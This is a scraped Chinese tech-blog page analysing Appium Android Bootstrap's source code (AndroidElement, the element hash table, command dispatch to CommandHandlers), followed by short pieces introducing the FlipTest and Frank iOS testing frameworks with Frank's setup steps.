AndroidElementHash類維護(hù)了一個(gè)以AndroidElement的id為鍵值,以AndroidElement的實(shí)例為value的全局唯一哈希表,pc端想要獲得一個(gè)控件的時(shí)候會(huì)先從這個(gè)哈希表查找,如果沒(méi)有了再創(chuàng)建新的AndroidElement控件并加入到該哈希表中,所以該哈希表中維護(hù)的是一個(gè)當(dāng)前已經(jīng)使用過(guò)的控件
相關(guān)文章:
Appium Android Bootstrap源碼分析之簡(jiǎn)介
通過(guò)上一篇
文章 《
Appium Android Bootstrap 源碼分析之簡(jiǎn)介》我們對(duì)bootstrap的定義以及其在appium和uiautomator處于一個(gè)什么樣的位置有了一個(gè)初步的了解,那么按照正常的寫(xiě)書(shū)的思路,下一個(gè)章節(jié)應(yīng)該就要去看bootstrap是如何建立socket來(lái)獲取數(shù)據(jù)然后怎樣進(jìn)行處理的了。但本人覺(jué)得這樣子做并不會(huì)太好,因?yàn)榈綍r(shí)整篇文章會(huì)變得非常的冗長(zhǎng),因?yàn)槟阍诰帉?xiě)的過(guò)程中碰到不認(rèn)識(shí)的類又要跳入進(jìn)去進(jìn)行說(shuō)明分析。這里我覺(jué)得應(yīng)該嘗試吸取著名的《重構(gòu)》這本書(shū)的建議:一個(gè)方法的代碼不要寫(xiě)得太長(zhǎng),不然可讀性會(huì)很差,盡量把其分解成不同的函數(shù)。那我們這里就是用類似的思想,不要嘗試在一個(gè)文章中把所有的事情都做完,而是嘗試先把關(guān)鍵的類給描述清楚,最后才去把這些類通過(guò)一個(gè)實(shí)例分析給串起來(lái)呈現(xiàn)給讀者,這樣大家就不會(huì)因?yàn)橐粋€(gè)文章太長(zhǎng)影響可讀性而放棄往下
學(xué)習(xí) 了。
那么我們這里為什么先說(shuō)bootstrap對(duì)控件的處理,而非剛才提到的socket相關(guān)的socket服務(wù)器的建立呢?我是這樣子看待的,大家看到本人這篇文章的時(shí)候,很有可能之前已經(jīng)了解過(guò)本人針對(duì)uiautomator源碼分析那個(gè)系列的文章了,或者已經(jīng)有uiautomator的相關(guān)知識(shí),所以腦袋里會(huì)比較迫切的想知道究竟appium是怎么運(yùn)用了uiautomator的,那么在appium中于這個(gè)問(wèn)題最貼切的就是appium在服務(wù)器端是怎么使用了uiautomator的控件的。
這里我們主要會(huì)分析兩個(gè)類:
AndroidElement :代表了bootstrap持有的一個(gè)ui界面的控件的類,它擁有一個(gè)UiObject成員對(duì)象和一個(gè)代表其在下面的哈希表的鍵值的String類型成員變量id
AndroidElementsHash:持有了一個(gè)包含所有bootstrap(也就是appium)曾經(jīng)見(jiàn)到過(guò)的(也就是腳本代碼中findElement方法找到過(guò)的)控件的哈希表,它的key就是AndroidElement中的id,每當(dāng)appium通過(guò)findElement找到一個(gè)新控件這個(gè)id就會(huì)+1,Appium的pc端和bootstrap端都會(huì)持有這個(gè)控件的id鍵值,當(dāng)需要調(diào)用一個(gè)控件的方法時(shí)就需要把代表這個(gè)控件的id鍵值傳過(guò)來(lái)讓bootstrap可以從這個(gè)哈希表找到對(duì)應(yīng)的控件
1. AndroidElement和UiObject的組合關(guān)系
從上面的描述我們可以知道,AndroidElement這個(gè)類里面擁有一個(gè)UiObject這個(gè)變量:
public class AndroidElement {
private final UiObject el;
private String id;
...
}
大家都知道UiObject其實(shí)就是UiAutomator里面代表一個(gè)控件的類,通過(guò)它就能夠?qū)丶M(jìn)行操作(當(dāng)然最終還是通過(guò)UiAutomation框架). AnroidElement就是通過(guò)它來(lái)跟UiAutomator發(fā)生關(guān)系的。我們可以看到下面的AndroidElement的點(diǎn)擊click方法其實(shí)就是很干脆的調(diào)用了UiObject的click方法:
public boolean click() throws UiObjectNotFoundException {
return el.click();
}
當(dāng)然這里除了click還有很多控件相關(guān)的操作,比如dragTo,getText,longClick等,但無(wú)一例外,都是通過(guò)UiObject來(lái)實(shí)現(xiàn)的,這里就不一一列舉了。
2. 腳本的WebElement和Bootstrap的AndroidElement的映射關(guān)系
我們?cè)谀_本上對(duì)控件的認(rèn)識(shí)就是一個(gè)WebElement:
WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
而在Bootstrap中一個(gè)對(duì)象就是一個(gè)AndroidElement. 那么它們是怎么映射到一起的呢?我們其實(shí)可以先看如下的代碼:
WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
addNote.getText();
addNote.click();
做的事情就是獲得Notes這個(gè)app的菜單,然后調(diào)用控件的getText來(lái)獲得‘Add note'控件的文本信息,以及通過(guò)控件的click方法來(lái)點(diǎn)擊該控件。那么我們看下調(diào)試信息是怎樣的:
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
通過(guò)上一篇
文章 《
Appium Android Bootstrap 源碼分析之控件AndroidElement》我們知道了Appium從pc端發(fā)送過(guò)來(lái)的命令如果是控件相關(guān)的話,最終目標(biāo)控件在bootstrap中是以AndroidElement對(duì)象的方式呈現(xiàn)出來(lái)的,并且該控件對(duì)象會(huì)在AndroidElementHash維護(hù)的控件哈希表中保存起來(lái)。但是appium觸發(fā)一個(gè)命令除了需要提供是否與控件相關(guān)這個(gè)信息外,還需要其他的一些信息,比如,這個(gè)是什么命令?這個(gè)就是我們這篇文章需要討論的話題了。
下面我們還是先看一下從pc端發(fā)過(guò)來(lái)的json的格式是怎么樣的:
可以看到里面除了params指定的是哪一個(gè)控件之外,還指定了另外兩個(gè)信息:
cmd: 這是一個(gè)action還是一個(gè)shutdown
action:如果是一個(gè)action的話,那么是什么action
開(kāi)始前我們先簡(jiǎn)要描述下我們需要涉及到幾個(gè)關(guān)鍵類:
從表中的這些方法可以看出來(lái),這個(gè)類所做的事情基本上都是怎么去解析appium從pc端過(guò)來(lái)的那串json字串。 2. Action與CommandHandler的映射關(guān)系
從上面描述可以知道,一個(gè)action就是一個(gè)代表該命令的字串,比如‘click’。但是一個(gè)字串是不能去執(zhí)行的啊,所以我們需要有一種方式把它轉(zhuǎn)換成可以執(zhí)行的代碼,這個(gè)就是AndroidCommandExecutor維護(hù)的一個(gè)靜態(tài)HashMap map所做的事情:
class AndroidCommandExecutor {
private static HashMap<String, CommandHandler> map = new HashMap<String, CommandHandler>();
static {
map.put("waitForIdle", new WaitForIdle());
map.put("clear", new Clear());
map.put("orientation", new Orientation());
map.put("swipe", new Swipe());
map.put("flick", new Flick());
map.put("drag", new Drag());
map.put("pinch", new Pinch());
map.put("click", new Click());
map.put("touchLongClick", new TouchLongClick());
map.put("touchDown", new TouchDown());
map.put("touchUp", new TouchUp());
map.put("touchMove", new TouchMove());
map.put("getText", new GetText());
map.put("setText", new SetText());
map.put("getName", new GetName());
map.put("getAttribute", new GetAttribute());
map.put("getDeviceSize", new GetDeviceSize());
map.put("scrollTo", new ScrollTo());
map.put("find", new Find());
map.put("getLocation", new GetLocation());
map.put("getSize", new GetSize());
map.put("wake", new Wake());
map.put("pressBack", new PressBack());
map.put("pressKeyCode", new PressKeyCode());
map.put("longPressKeyCode", new LongPressKeyCode());
map.put("takeScreenshot", new TakeScreenshot());
map.put("updateStrings", new UpdateStrings());
map.put("getDataDir", new GetDataDir());
map.put("performMultiPointerGesture", new MultiPointerGesture());
map.put("openNotification", new OpenNotification());
map.put("source", new Source());
map.put("compressedLayoutHierarchy", new CompressedLayoutHierarchy());
}
這個(gè)map指定了我們支持的pc端過(guò)來(lái)的所有action,以及對(duì)應(yīng)的處理該action的類的實(shí)例,其實(shí)這些類都是CommandHandler的子類基本上就只有一個(gè):去實(shí)現(xiàn)CommandHandler的虛擬方法execute!要做的事情就大概就這幾類:
控件相關(guān)的action:調(diào)用AndroidElement控件的成員變量UiObject el對(duì)應(yīng)的方法來(lái)執(zhí)行真實(shí)的操作
UiDevice相關(guān)的action:調(diào)用UiDevice提供的方法
UiScrollable相關(guān)的action:調(diào)用UiScrollable提供的方法
UiAutomator那5個(gè)對(duì)象都沒(méi)有的action:該調(diào)用InteractionController的就反射調(diào)用,該調(diào)用QueryController的就反射調(diào)用。注意這兩個(gè)類UiAutomator是沒(méi)有提供直接調(diào)用的方法的,所以只能通過(guò)反射。更多這兩個(gè)類的信息請(qǐng)翻看之前的UiAutomator源碼分析相關(guān)的文章
其他:如取得compressedLayoutHierarchy
指導(dǎo)action向CommandHandler真正發(fā)生轉(zhuǎn)換的地方是在這個(gè)AndroidCommandExecutor的execute方法中:
public AndroidCommandResult execute(final AndroidCommand command) {
try {
Logger.debug("Got command action: " + command.action());
if (map.containsKey(command.action())) {
return map.get(command.action()).execute(command);
} else {
return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,
"Unknown command: " + command.action());
}
} catch (final JSONException e) {
Logger.error("Could not decode action/params of command");
return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,
"Could not decode action/params of command, please check format!");
}
}
它首先叫上面的AndroidCommand解析器把json字串的action給解析出來(lái)
然后通過(guò)剛提到的map把這個(gè)action對(duì)應(yīng)的CommandHandler的實(shí)現(xiàn)類給實(shí)例化
然后調(diào)用這個(gè)命令處理類的execute方法開(kāi)始執(zhí)行命令
3. 命令處理示例
我們這里就示例性的看下getText這個(gè)action對(duì)應(yīng)的CommandHandler是怎么去通過(guò)AndroidElement控件進(jìn)行設(shè)置文本的處理的:
public class GetText extends CommandHandler {
/*
* @param command The {@link AndroidCommand} used for this handler.
*
* @return {@link AndroidCommandResult}
*
* @throws JSONException
*
* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.
* bootstrap.AndroidCommand)
*/
@Override
public AndroidCommandResult execute(final AndroidCommand command)
throws JSONException {
if (command.isElementCommand()) {
// Only makes sense on an element
try {
final AndroidElement el = command.getElement();
return getSuccessResult(el.getText());
} catch (final UiObjectNotFoundException e) {
return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,
e.getMessage());
} catch (final Exception e) { // handle NullPointerException
return getErrorResult("Unknown error");
}
} else {
return getErrorResult("Unable to get text without an element.");
}
}
}
關(guān)鍵代碼就是里面通過(guò)AndroidCommand的getElement方法:
解析傳進(jìn)來(lái)的AndroidCommand實(shí)例保存的pc端過(guò)來(lái)的json字串,找到’params‘項(xiàng)的子項(xiàng)’elementId'
通過(guò)這個(gè)獲得的id去控件哈希表(請(qǐng)查看《Appium Android Bootstrap源碼分析之控件AndroidElement》)中找到目標(biāo)AndroidElement控件對(duì)象
然后調(diào)用獲得的AndroidElement控件對(duì)象的getText方法:
最終通過(guò)調(diào)用AndroidElement控件成員UiObject控件對(duì)象的getText方法取得控件文本信息
4. 小結(jié)
bootstrap接收到appium從pc端發(fā)送過(guò)來(lái)的json格式的鍵值對(duì)字串有多個(gè)項(xiàng):
cmd: 這是一個(gè)action還是一個(gè)shutdown
action:如果是一個(gè)action的話,那么是什么action,比如click
params:擁有其他的一些子項(xiàng),比如指定操作控件在AndroidElementHash維護(hù)的控件哈希表的控件鍵值的'elementId'
在收到這個(gè)json格式命令字串后:
AndroidCommandExecutor會(huì)調(diào)用AndroidCommand去解析出對(duì)應(yīng)的action
然后把a(bǔ)ction去map到對(duì)應(yīng)的真實(shí)命令處理方法CommandHandler的實(shí)現(xiàn)子類對(duì)象中
然后調(diào)用對(duì)應(yīng)的對(duì)象的execute方法來(lái)執(zhí)行命令
相關(guān)文章:
Appium Android Bootstrap源碼分析之簡(jiǎn)介
Appium Android Bootstrap之控件AndroidElement
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
FlipTest是專為iOS設(shè)計(jì)的
移動(dòng) 應(yīng)用A/B測(cè)試框架,通過(guò)它,開(kāi)發(fā)者可以無(wú)需重新向App Store提交應(yīng)用或重構(gòu)代碼,只需添加一行代碼,即可直接在iOS應(yīng)用上進(jìn)行A/B測(cè)試。對(duì)移動(dòng)應(yīng)用做 A/B
測(cè)試 是非常難的,而 FlipTest 可以幫你簡(jiǎn)化這個(gè)過(guò)程。
對(duì)于想要追求UI極致的開(kāi)發(fā)者而言,F(xiàn)lipTest絕對(duì)是最合適的
測(cè)試框架 。FlipTest會(huì)為應(yīng)用選擇最恰當(dāng)?shù)挠脩艚缑妫€會(huì)基于外觀、可用性等眾多因素返還測(cè)試結(jié)果,從而幫助開(kāi)發(fā)者徹底解決UI問(wèn)題。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
Frank 也是一款深受開(kāi)發(fā)者喜愛(ài)的 iOS 應(yīng)用 測(cè)試 框架,該框架可以模擬用戶操作對(duì)應(yīng)用程序進(jìn)行 黑盒測(cè)試 ,并使用Cucumber作為自然語(yǔ)言來(lái)編寫(xiě) 測(cè)試用例 。此外,F(xiàn)rank還會(huì)對(duì)應(yīng)用測(cè)試操作進(jìn)行記錄,以幫助開(kāi)發(fā)者進(jìn)行測(cè)試回顧。
一、基本介紹
Frank是ios開(kāi)發(fā)環(huán)境下一款實(shí)現(xiàn)自動(dòng)測(cè)試的工具。
Xcode環(huán)境下開(kāi)發(fā)完成后,通過(guò)Frank實(shí)現(xiàn)結(jié)構(gòu)化的測(cè)試用例,其底層語(yǔ)言為
Ruby 。作為一款開(kāi)源的iOS測(cè)試工具,在國(guó)外已經(jīng)有廣泛的應(yīng)用。但是國(guó)內(nèi)相關(guān)資料卻比較少。其最大的優(yōu)點(diǎn)是允許我們用熟悉的自然語(yǔ)言實(shí)現(xiàn)實(shí)際的操作邏輯。
一般而言,測(cè)試文件由一個(gè).feature文件和一個(gè).rb文件組成。.feature文件包含的是測(cè)試操作的自然語(yǔ)言描述部分,內(nèi)部可以包含多個(gè)測(cè)試用例,以標(biāo)簽(@tagname)的形式唯一標(biāo)識(shí),每個(gè)用例的首行必須有Scenario: some description;.rb文件則是ruby實(shí)現(xiàn)邏輯,通過(guò)正則表達(dá)式匹配.feature文件中的每一句自然語(yǔ)言,然后執(zhí)行相應(yīng)的邏輯操作,最終實(shí)現(xiàn)自動(dòng)測(cè)試的目的。
二、安裝
1. Terminal 輸入sudo gem install frank-cucumber,下載并安裝Frank
2. Terminal 進(jìn)入工程所在路徑,工程根目錄
3. 輸入:frank-skeleton,會(huì)在工程根目錄新建Frank文件夾
4. 返回Xcode界面,右鍵Targets下的APP,選擇復(fù)制,Duplicate only
5. 雙擊APPname copy,更改副本名,例如 Appname Frankified
6. 右擊APP,Add Files to Appname……
7. 勾選副本,其余取消選定。選擇新建的Frank文件夾,Add.
8. 選擇APP,中間部分Build Phases選項(xiàng)卡,Link Binary With LibrariesàCFNetwork.framework,Add.
9. 依舊中間部分,選擇Build Settings選項(xiàng)卡,Other Linker Flags,雙擊,添加“-all_load”和“ObjC”
10. 左上角,Scheme Selector,在RUN和STOP按鈕的右邊,選擇Appname copy-IPHONE
11. 瀏覽器中打開(kāi)http://localhost:37265,可以在瀏覽器中看到植入Frank的應(yīng)用
我在添加了兩個(gè)flag之后老是報(bào)錯(cuò),嘗試了N種方法之后索性全部刪掉,結(jié)果就可以了,無(wú)語(yǔ)
三、基本步驟
1. terminal 切換到Frank文件夾所在目錄
2. frank launch, 打開(kāi)simulator,開(kāi)始運(yùn)行(默認(rèn)是用IPHONE simulator,要用IPAD simulator時(shí),需要如下命令行,添加參數(shù):frank launch --idiom ipad)
3. cucumber Frank/features/my_first.feature --tags @tagname (注意tags前面兩個(gè)‘-’)PS:如果沒(méi)有tag則自動(dòng)運(yùn)行文件中所有case
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters